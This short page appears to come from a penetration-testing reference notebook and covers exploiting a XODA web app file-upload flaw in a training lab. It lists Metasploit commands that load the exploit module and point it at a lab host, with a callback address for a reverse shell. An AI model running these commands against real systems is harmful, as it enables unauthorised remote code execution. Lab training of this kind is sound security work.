> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/web-pentesting/misc-vulnerabilies.md).

# Misc Vulnerabilies

### XODA web app

A XODA web app instance is running on the system which can be exploited using the “exploit/unix/webapp/xoda\_file\_upload” Metasploit module.

```
use exploit/unix/webapp/xoda_file_upload
set RHOSTS demo1.ine.local
set TARGETURI /
set LHOST 192.63.4.2
exploit
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FvC9Fh5v9tBAvQq0kpT9Q%2Fimage.png?alt=media&amp;token=15f25f08-da4f-476b-802c-0cd4efcbd697" alt=""><figcaption></figcaption></figure>